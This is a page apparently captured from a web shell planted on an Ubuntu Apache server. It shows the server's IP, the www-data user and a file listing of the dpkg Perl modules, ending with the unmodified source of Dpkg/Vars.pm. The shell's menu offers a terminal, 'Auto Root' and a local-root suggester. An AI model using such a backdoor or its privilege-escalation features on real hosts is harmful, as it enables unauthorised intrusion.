Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
Dpkg /
Delete
Unzip
Name
Size
Permission
Date
Action
Build
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Changelog
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Compression
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Control
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Deps
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Dist
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Interface
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Shlibs
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Source
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Vendor
[ DIR ]
drwxr-xr-x
2025-12-31 20:36
Arch.pm
14.79
KB
-rw-r--r--
2025-09-10 05:09
BuildFlags.pm
11.67
KB
-rw-r--r--
2025-09-10 05:09
BuildOptions.pm
6.18
KB
-rw-r--r--
2025-09-10 05:09
BuildProfiles.pm
3.88
KB
-rw-r--r--
2025-09-10 05:09
Changelog.pm
20.19
KB
-rw-r--r--
2025-09-10 05:09
Checksums.pm
10.97
KB
-rw-r--r--
2025-09-10 05:09
Compression.pm
6.24
KB
-rw-r--r--
2025-09-10 05:09
Conf.pm
5.78
KB
-rw-r--r--
2025-09-10 05:09
Control.pm
7.19
KB
-rw-r--r--
2025-09-10 05:09
Deps.pm
14.55
KB
-rw-r--r--
2025-09-10 05:09
ErrorHandling.pm
5.17
KB
-rw-r--r--
2025-09-10 05:09
Exit.pm
2.43
KB
-rw-r--r--
2025-09-10 05:09
File.pm
1.25
KB
-rw-r--r--
2025-09-10 05:09
Getopt.pm
1.21
KB
-rw-r--r--
2025-09-10 05:09
Gettext.pm
5.64
KB
-rw-r--r--
2025-09-10 05:09
IPC.pm
11.62
KB
-rw-r--r--
2025-09-10 05:09
Index.pm
11.31
KB
-rw-r--r--
2025-09-10 05:09
Lock.pm
1.87
KB
-rw-r--r--
2025-09-10 05:09
OpenPGP.pm
4.86
KB
-rw-r--r--
2025-09-10 05:09
Package.pm
1.26
KB
-rw-r--r--
2025-09-10 05:09
Path.pm
8.6
KB
-rw-r--r--
2025-09-10 05:09
Shlibs.pm
5.02
KB
-rw-r--r--
2025-09-10 05:09
Substvars.pm
11.22
KB
-rw-r--r--
2025-09-10 05:09
Vars.pm
1.42
KB
-rw-r--r--
2025-09-10 05:09
Vendor.pm
5.34
KB
-rw-r--r--
2025-09-10 05:09
Version.pm
12.76
KB
-rw-r--r--
2025-09-10 05:09
Save
Rename
# Copyright © 2007-2009,2012-2013 Guillem Jover <guillem@debian.org> # Copyright © 2007 Raphaël Hertzog <hertzog@debian.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. package Dpkg::Vars; use strict; use warnings; our $VERSION = '0.03'; our @EXPORT = qw( get_source_package set_source_package ); use Exporter qw(import); use Dpkg::ErrorHandling; use Dpkg::Gettext; use Dpkg::Package; my $sourcepackage; sub get_source_package { return $sourcepackage; } sub set_source_package { my $v = shift; my $err = pkg_name_is_illegal($v); error(g_("source package name '%s' is illegal: %s"), $v, $err) if $err; if (not defined($sourcepackage)) { $sourcepackage = $v; } elsif ($v ne $sourcepackage) { error(g_('source package has two conflicting values - %s and %s'), $sourcepackage, $v); } } 1;